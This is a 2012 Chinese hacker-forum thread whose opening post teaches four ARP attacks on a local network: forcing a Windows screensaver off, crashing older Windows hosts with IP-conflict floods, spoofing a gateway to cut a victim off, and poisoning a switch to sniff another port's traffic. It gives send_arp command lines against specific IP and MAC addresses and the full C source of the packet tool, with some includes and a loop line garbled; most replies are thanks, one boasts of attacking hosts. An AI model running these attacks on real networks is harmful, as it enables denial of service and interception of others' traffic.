设为首页收藏本站
查看: 10244|回复: 45

玩转ARP攻击

  [复制链接]
  • TA的每日心情
    奋斗
    2012-8-28 14:27
  • 签到天数: 3 天

    [LV.2]偶尔看看I

    发表于 2012-8-24 14:11:45 | 显示全部楼层 |阅读模式
    本帖最后由 cnhk4012 于 2012-9-11 21:33 编辑

    我写这片文章只是想让你明白深刻理解某一协议的好处。高手免看。如果有人利用这片文章所做的一切事情,盖不负责。
    网上关于ARP的资料已经很多了,就不用我都说了。 用某一位高手的话来说,“我们能做的事情很多,唯一受限制的是我们的创造力和想象力”。
    ARP也是如此。
    以下讨论的机子有
    一个要攻击的机子:10.5.4.178
    硬件地址:52:54:4C:98:EE:2F
    我的机子: :10.5.3.69
    硬件地址:52:54:4C:98:ED:C5
    网关: 10.5.0.3
    硬件地址:00:90:26:3D:0C:F3
    一台交换机另一端口的机子:10.5.3.3
    硬件地址:52:54:4C:98:ED:F7
    一:用ARP破WINDOWS的屏保
    原理:利用IP冲突的级别比屏保高,当有冲突时,就会跳出屏保。
    关键:ARP包的数量适当。
    [root@sztcww tools]# ./send_arp 10.5.4.178 00:90:26:3D:0C:F3 \
    10.5.4.178 52:54:4C:98:EE:2F 40
    二:用ARP导致IP冲突,死机
    原理:WINDOWS 9X,NT4在处理IP冲突时,处理不过来,导致死机。
    注:对WINDOWS 2K,LINUX相当于flooding,只是比一般的FLOODING 有效的多.对LINUX,明显系统被拖慢。
    [root@sztcww tools]# ./send_arp 10.5.4.178 00:90:26:3D:0C:F3 \
    10.5.4.178 52:54:4C:98:EE:2F 999999999
    三:用ARP欺骗网关,可导致局域网的某台机子出不了网关。
    原理:用ARP应答包去刷新对应着要使之出不去的机子。
    [root@sztcww tools]# ./send_arp 10.5.4.178 52:54:4C:98:EE:22 \
    10.5.4.178 00:90:26:3D:0C:F3 1
    注意:如果单单如上的命令,大概只能有效几秒钟,网关机子里的ARP高速缓存会被被攻击的机子正确刷新,于是只要...
    四:用ARP欺骗交换机,可监听到交换机另一端的机子。
    可能需要修改一下send_arp.c,构造如下的数据包。
    ethhdr
    srchw:52:54:4C:98:ED:F7--->dsthw:FF:FF:FF:FF:FF:FF proto:806H
    arphdr
    hwtype:1 protol:800H hw_size:6 pro_size:4 op:1
    s_ha:52:54:4C:98:ED:F7 s_ip:10.5.3.3
    d_ha:00:00:00:00:00:00 d_ip:10.5.3.3
    然后就可以sniffer了。
    原理:
    交换机是具有记忆MAC地址功能的,它维护一张MAC地址和它的口号表
    所以你可以先来个ARP 欺骗,然后就可以监听了
    不过需要指出,欺骗以后,同一个MAC地址就有两个端口号
    yuange说,“这样其实就是一个竞争问题。”
    好象ARP 以后,对整个网络会有点影响,不过我不敢确定
    既然是竞争,所以监听也只能监听一部分,不象同一HUB下的监听。
    对被监听者会有影响,因为他掉了一部分数据。
    当然还有其他一些应用,需要其他技术的配合。
    以下是send_arp.c的源程序  

    CODE:
    /*
    This program sends out one ARP packet with source/target IP
    and Ethernet hardware addresses suuplied by the user. It
    compiles and works on Linux and will probably work on any
    Unix that has SOCK_PACKET. volobuev@t1.chem.umn.edu
    */
    #include
    #include
    #include
    #include
    #include
    #include
    #include
    #include
    #include
    #include
    #include
    #include
    #include
    #include
    #define ETH_HW_ADDR_LEN 6
    #define IP_ADDR_LEN 4
    #define ARP_FRAME_TYPE 0x0806
    #define ETHER_HW_TYPE 1
    #define IP_PROTO_TYPE 0x0800
    #define OP_ARP_REQUEST 2
    #define OP_ARP_QUEST 1
    #define DEFAULT_DEVICE "eth0"
    char usage[] = {"send_arp: sends out custom ARP packet. yuri volobuev
    usage: send_arp src_ip_addr src_hw_addr targ_ip_addr tar_hw_addr number"};
    struct arp_packet
    {
    u_char targ_hw_addr[ETH_HW_ADDR_LEN];
    u_char src_hw_addr[ETH_HW_ADDR_LEN];
    u_short frame_type;
    u_short hw_type;
    u_short prot_type;
    u_char hw_addr_size;
    u_char prot_addr_size;
    u_short op;
    u_char sndr_hw_addr[ETH_HW_ADDR_LEN];
    u_char sndr_ip_addr[IP_ADDR_LEN];
    u_char rcpt_hw_addr[ETH_HW_ADDR_LEN];
    u_char rcpt_ip_addr[IP_ADDR_LEN];
    u_char padding[18];
    };
    void die (char *);
    void get_ip_addr (struct in_addr *, char *);
    void get_hw_addr (char *, char *);
    int main (int argc, char * argv[])
    {
    struct in_addr src_in_addr, targ_in_addr;
    struct arp_packet pkt;
    struct sockaddr sa;
    int sock;
    int j,number;
    if (argc != 6)
    die(usage);
    sock = socket(AF_INET, SOCK_PACKET, htons(ETH_P_RARP));
    if (sock < 0)
    {
    perror("socket");
    exit(1);
    }
    number=atoi(argv[5]);
    pkt.frame_type = htons(ARP_FRAME_TYPE);
    pkt.hw_type = htons(ETHER_HW_TYPE);
    pkt.prot_type = htons(IP_PROTO_TYPE);
    pkt.hw_addr_size = ETH_HW_ADDR_LEN;
    pkt.prot_addr_size = IP_ADDR_LEN;
    pkt.op = htons(OP_ARP_QUEST);
    get_hw_addr(pkt.targ_hw_addr, argv[4]);
    get_hw_addr(pkt.rcpt_hw_addr, argv[4]);
    get_hw_addr(pkt.src_hw_addr, argv[2]);
    get_hw_addr(pkt.sndr_hw_addr, argv[2]);
    get_ip_addr(&src_in_addr, argv[1]);
    get_ip_addr(&targ_in_addr, argv[3]);
    memcpy(pkt.sndr_ip_addr, &src_in_addr, IP_ADDR_LEN);
    memcpy(pkt.rcpt_ip_addr, &targ_in_addr, IP_ADDR_LEN);
    bzero(pkt.padding,18);
    strcpy(sa.sa_data,DEFAULT_DEVICE);
    for (j=0;j {
    if (sendto(sock,&pkt,sizeof(pkt),0,&sa,sizeof(sa)) < 0)
    {
    perror("sendto");
    exit(1);
    }
    }
    exit(0);
    }
    void die (char *str)
    {
    fprintf(stderr,"%s\n",str);
    exit(1);
    }
    void get_ip_addr (struct in_addr *in_addr, char *str)
    {
    struct hostent *hostp;
    in_addr->s_addr = inet_addr(str);
    if(in_addr->s_addr == -1)
    {
    if ((hostp = gethostbyname(str)))
    bcopy(hostp->h_addr, in_addr, hostp->h_length);
    else {
    fprintf(stderr, "send_arp: unknown host %s\n", str);
    exit(1);
    }
    }
    }
    void get_hw_addr (char *buf, char *str)
    {
    int i;
    char c, val;
    for(i = 0; i < ETH_HW_ADDR_LEN; i++)
    {
    if (!(c = tolower(*str++)))
    die("Invalid hardware address");
    if (isdigit(c))
    val = c - '0';
    else if (c >= 'a' && c <= 'f')
    val = c-'a'+10;
    else
    die("Invalid hardware address");
    *buf = val << 4;
    if (!(c = tolower(*str++)))
    die("Invalid hardware address");
    if (isdigit(c))
    val = c - '0';
    else if (c >= 'a' && c <= 'f')
    val = c-'a'+10;
    else
    die("Invalid hardware address");
    *buf++ |= val;
    if (*str == ':')
    str++;
    }
    }
  • TA的每日心情
    奋斗
    2012-8-28 14:27
  • 签到天数: 3 天

    [LV.2]偶尔看看I

     楼主| 发表于 2012-8-24 14:27:54 | 显示全部楼层
    回复 支持 反对

    使用道具 举报

  • TA的每日心情

    2013-7-1 10:04
  • 签到天数: 39 天

    [LV.5]常住居民I

    发表于 2012-8-24 14:30:03 | 显示全部楼层
    我来坐沙发  收藏了 现在看不懂
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    无聊
    2013-8-25 14:09
  • 签到天数: 80 天

    [LV.6]常住居民II

    发表于 2012-8-24 14:49:43 | 显示全部楼层
    我也玩过ARP只是攻击的网络主机,哈哈,邪恶中。。。。。。
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    奋斗
    2012-11-10 08:18
  • 签到天数: 45 天

    [LV.5]常住居民I

    发表于 2012-8-24 15:02:01 | 显示全部楼层
    挺长的 仔细看看我
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    开心
    2013-3-31 10:33
  • 签到天数: 50 天

    [LV.5]常住居民I

    发表于 2012-8-24 15:22:08 | 显示全部楼层
    看不懂 收藏以后看
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    无聊
    2013-8-5 17:59
  • 签到天数: 21 天

    [LV.4]偶尔看看III

    发表于 2012-8-25 09:28:55 | 显示全部楼层
    膜拜 膜拜  ing
    回复 支持 反对

    使用道具 举报

  • TA的每日心情

    2013-1-12 17:55
  • 签到天数: 9 天

    [LV.3]偶尔看看II

    发表于 2012-9-1 23:08:40 | 显示全部楼层
    算打广告吗?
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    擦汗
    2019-10-15 15:49
  • 签到天数: 217 天

    [LV.7]常住居民III

    发表于 2012-9-1 23:12:12 | 显示全部楼层
    代码太长,表示看不懂...
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    无聊
    2012-10-8 14:24
  • 签到天数: 23 天

    [LV.4]偶尔看看III

    发表于 2012-9-4 13:01:55 | 显示全部楼层
    楼主辛苦了。。。。。
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    奋斗
    2018-5-7 14:42
  • 签到天数: 82 天

    [LV.6]常住居民II

    发表于 2012-9-9 10:08:20 | 显示全部楼层
    看不懂啊我膜拜
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    擦汗
    2013-2-7 22:32
  • 签到天数: 30 天

    [LV.5]常住居民I

    发表于 2012-9-10 19:43:44 | 显示全部楼层
    ...ARP 还是挺有意思的
    LZ一句说的对
    黑客即是如此 永远是创造力与能力在限制自己!
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    郁闷
    2015-5-25 17:55
  • 签到天数: 36 天

    [LV.5]常住居民I

    发表于 2012-9-24 11:48:32 | 显示全部楼层
    学习... ...
    回复 支持 反对

    使用道具 举报

  • TA的每日心情

    2016-7-12 19:47
  • 签到天数: 437 天

    [LV.9]以坛为家II

    发表于 2012-9-24 12:18:18 | 显示全部楼层
    果断收藏,学习ing……
    回复 支持 反对

    使用道具 举报

  • TA的每日心情

    2017-8-21 09:27
  • 签到天数: 182 天

    [LV.7]常住居民III

    发表于 2012-9-25 18:18:36 | 显示全部楼层
    太感人了。好文章啊。不过不知道女主人和男主人最后会不会合好。
    回复 支持 反对

    使用道具 举报

    您需要登录后才可以回帖 登录 | 注册

    本版积分规则

    关闭

    站长推荐 上一条 /1 下一条

    红盟社区--中国红客联盟 

    Processed in 0.093228 second(s), 28 queries.

    站点统计| 举报| Archiver| 手机版| 黑屋 |   

    Powered by HUC © 2001-2017 Comsenz Inc.

    手机扫我进入移动触屏客户端

    关注我们可获取更多热点资讯

    Honor accompaniments. theme macfee

    快速回复 返回顶部 返回列表